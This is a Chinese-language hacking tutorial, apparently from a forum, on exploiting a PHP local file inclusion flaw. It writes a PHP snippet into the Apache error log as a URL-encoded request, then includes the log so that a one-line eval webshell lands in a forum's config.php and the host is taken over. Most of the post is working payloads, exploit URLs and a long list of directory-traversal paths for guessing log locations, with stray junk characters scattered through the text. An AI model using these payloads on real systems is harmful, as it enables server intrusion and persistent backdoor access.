php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
8 J! T9 x- o. p* K2 p
比如还是这句一句话木马
' I% h: @/ n% l2 N<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
9 P2 c0 j; E* n+ q- h! \* R5 Afopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

5 i7 V  m. Z! E! b; ~$ Y<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
' G5 Z6 e. @5 g& v
& w3 Y( h5 h3 l; P我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
/ u% ?& U% ^% _3 e# E/ Y转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
+ x' ^# n4 m: y- h9 o8 d3 |! y%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
7 H+ B, q0 ?1 r! x* k$ h% e我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
! ?0 P. ~3 @% m; ?%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
* m2 e, B0 Z0 U% H* s. Z( jcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
8 O: V1 h/ f" k$ s# Z* @3 Z
3 U) j+ }" [, D) y- ]# ?8 }' `% d! _这样就错误日志里就记录下了这行写入webshell的代码。
4 E8 [; ?  z6 i# H+ ?. n, \+ l- Q我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

2 q* u# W" L2 x& @" d' \这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
2 l4 m& l' @4 H" G直接用lanker的客户端一连，主机就是你的了。
7 h$ \/ l2 Z5 t8 H3 w
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
' g- M: E6 `' K" ]6 L+ s3 A/ [
其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
; ?. p  Y( U/ S6 n4 N../../../../../../../../../../var/log/httpd/error_log
, r- O* \% D6 e# O! {../apache/logs/error.log
0 p7 h$ i! M+ e) s/ R9 ]../apache/logs/access.log
; a5 x) S6 H; j../../apache/logs/error.log
; X! S4 G6 m) X/ V6 U) k# X../../apache/logs/access.log
/ S. M0 {9 s/ o../../../apache/logs/error.log
../../../apache/logs/access.log
% V$ E( G- e7 [$ s1 C  C../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
' l0 u! w7 c6 P../../../../../../../../../../etc/httpd/logs/error.log
7 r/ d2 o3 R. c../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
: d2 ]9 e* Y) \5 G4 e3 d../../../../../../../../../../usr/local/apache/logs/access.log
4 _. l5 H# |9 }" Q' ]../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
, e3 d9 o, N: Q6 i../../../../../../../../../../var/log/access_log
! a" E2 L- P9 V8 S../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
$ x9 |3 x7 y' f../../../../../../../../../../var/log/apache/error_log
! x" I: N/ g( N( a6 {, k../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
1 u% h  F. ]* m  G6 g1 `../apache/logs/error.log     
# t5 n+ ?" N" Q8 I) q: L# K( o0 L../apache/logs/access.log
../../apache/logs/error.log
. x9 m0 w" H, Y! e+ g- K../../apache/logs/access.log
8 }& L% \( n1 s5 e8 ]../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
+ E; D7 ~# ~* _5 }, M1 Z/ Z/etc/httpd/logs/error_log
' ^6 \- l$ N  s& ]/ P  |/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
  T: r# K- n+ |3 E/usr/local/apache/logs/access_log
7 B3 G* n8 c8 a4 ^; a/usr/local/apache/logs/access.log
/var/log/apache/access_log
! E5 f2 N+ v5 ~% t& W/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
5 Q( W* B+ _) @9 N4 P  I* [/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
1 k1 w1 {* N& J$ p) h8 ~! ]: D/var/log/apache/error.log
/var/log/access_log
/var/log/error_log